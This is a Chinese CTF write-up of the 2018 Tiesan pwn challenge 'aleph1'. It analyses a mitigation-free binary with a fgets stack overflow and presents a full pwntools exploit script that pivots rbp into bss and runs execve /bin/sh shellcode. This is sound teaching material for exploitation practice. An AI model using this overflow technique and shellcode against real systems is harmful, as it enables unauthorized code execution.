专栏首页逢魔安全实验室铁人三项2018 pwn [aleph1] Writeup

铁人三项2018 pwn [aleph1] Writeup

本文内容比较多,建议点击https://blog.formsec.cn/2018/06/11/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B92018-pwn-aleph1-Writeup/

进行浏览。

拿到程序后首先看看程序的漏洞缓解措施,发现没有开启任何缓解措施。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

程序分析

接着,我们用IDA载入程序看看

.text:00000000004005CA                 public main
.text:00000000004005CA main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004005CA
.text:00000000004005CA yolo            = byte ptr -400h
.text:00000000004005CA
.text:00000000004005CA ; __unwind {
.text:00000000004005CA                 push    rbp
.text:00000000004005CB                 mov     rbp, rsp
.text:00000000004005CE                 sub     rsp, 400h
.text:00000000004005D5                 mov     rdx, cs:__bss_start ; stream
.text:00000000004005DC                 lea     rax, [rbp+yolo]
.text:00000000004005E3                 mov     esi, 539h       ; n
.text:00000000004005E8                 mov     rdi, rax        ; s
.text:00000000004005EB                 call    _fgets
.text:00000000004005F0                 mov     eax, 0
.text:00000000004005F5                 leave
.text:00000000004005F6                 retn
.text:00000000004005F6 ; } // starts at 4005CA
.text:00000000004005F6 main            endp

程序很简单,漏洞也很明显,yolo占0x400大小,却可以输入0x539大小的数据。很明显的栈溢出,但是却不好利用。因为程序使用fgets来完成输入的,我们来看看fgets的声明fgets(char *buf, int bufsize, FILE *stream),而程序中的第三个参数用的是stdin标准输入,而这个stdin存在了bss段中。我们没办法使用ROP来传到rdx中。

如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入,也就没法完成利用。此时,我选择第一次栈溢出用0x4005D5来覆盖返回地址,因为之后的代码会帮助我们完成参数的传递。

那么接下来的难点是控制fgets的第二个参数。不过这不是问题,因为存在栈溢出,所以我们可以控制rbp那么也就可以控制第二个参数了。

rbp我选择的是bss + 0x20 + 0x400也就是说,数据会写入到bss + 0x20。为了不覆盖掉bss段中的stdin,所以偏移了0x20大小。

第二次输入时,我们就可以部署shellcodebss段中,并控制返回地址到shellcode的地址完成利用。

Explolit

利用脚本:

from pwn import *

sc_addr = 0x601030 + 0x20
offset = 1024

r = process('./aleph1')

payload  = offset * 'a'
payload += p64(sc_addr + 0x400)
payload += p64(0x4005d5)

raw_input('0')
r.sendline(payload)

raw_input('1')
payload  = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

payload = payload.ljust(offset+8, '\x00')
payload += p64(sc_addr)

r.sendline(payload)

r.interactive()

相关的代码及其题目https://github.com/we4p0x/Writeup/blob/master/tiesan2018

往期精彩回顾

铁人三项2018 pwn [heapmain] Writeup

ISCC 2018 Writeup

American Fuzz Lop (AFL) Fuzz 初探

本文分享自微信公众号 - 逢魔安全实验室(FormSec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-06-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Some Linux Hacking Tricks

    xfkxfk
  • UAF Writeup - pwnable.kr

    0x00 UAF — pwnable.kr是一个韩国的CTF练习的网站,有很多经典的CTF题目供爱好者练习。 UAF(Use After Free)释放后重用...

    xfkxfk
  • Equation Group泄露工具之vBulletin无文件后门分析

    01 — 背景介绍 方程式泄漏的几波样本虽然大都已是好些年前人家就在用的,但是时至今日我们再分析这些样本,所涉及的技术细节、攻击方法、思维和角度还是令人叹为观...

    xfkxfk
  • strlen的另一种实现,可以作为ShellCode

    在实际工作中会遇到很多strlen. 这里针对strlen函数做一下代码还原. 并且讲解其原理

    IBinary
  • python 调用Google Tran

    py3study
  • 重磅!CVPR 2020 论文今起全面开放下载,含主会和workshop

    因疫情影响 CVPR 2020 将于6月14日-19日 线上会议,今天官方终于放出了所有的论文列表,并开放下载。

    CV君
  • MySQL数据导入导出牛刀小试(r5笔记第3天)

    最近学习了下MySQL中数据的导入导出,发现功能点真是丰富,很方便很快捷。 这些导入导出的方式还是有不少的细节的,在此先不做扩展和深入分析。 --数据导出 方式...

    jeanron100
  • CentOS 7系统查看系统版本和机器位数

    命令实在是不要太多,为了防止选择性障碍,一致选择第一种方式,后面的仅作为补充。 方法1:

    魏晓蕾
  • Python 学习之正则表达式

    相信你此刻已经感受到了它的强大之处,接下来就让我们开始正则表达式的学习。先来介绍一下 re 模块。

    用户4872888
  • centos7查看系统版本,查看机器位数x86-64

    前言 由于不经常使用linux,每当使用的时候就是安装软件,安装软件的时候就要选择安装包平台,是32位的还是64位的。这时候突然发现不知道怎么查,于是百度。虽然...

    Ryan-Miao

扫码关注云+社区

领取腾讯云代金券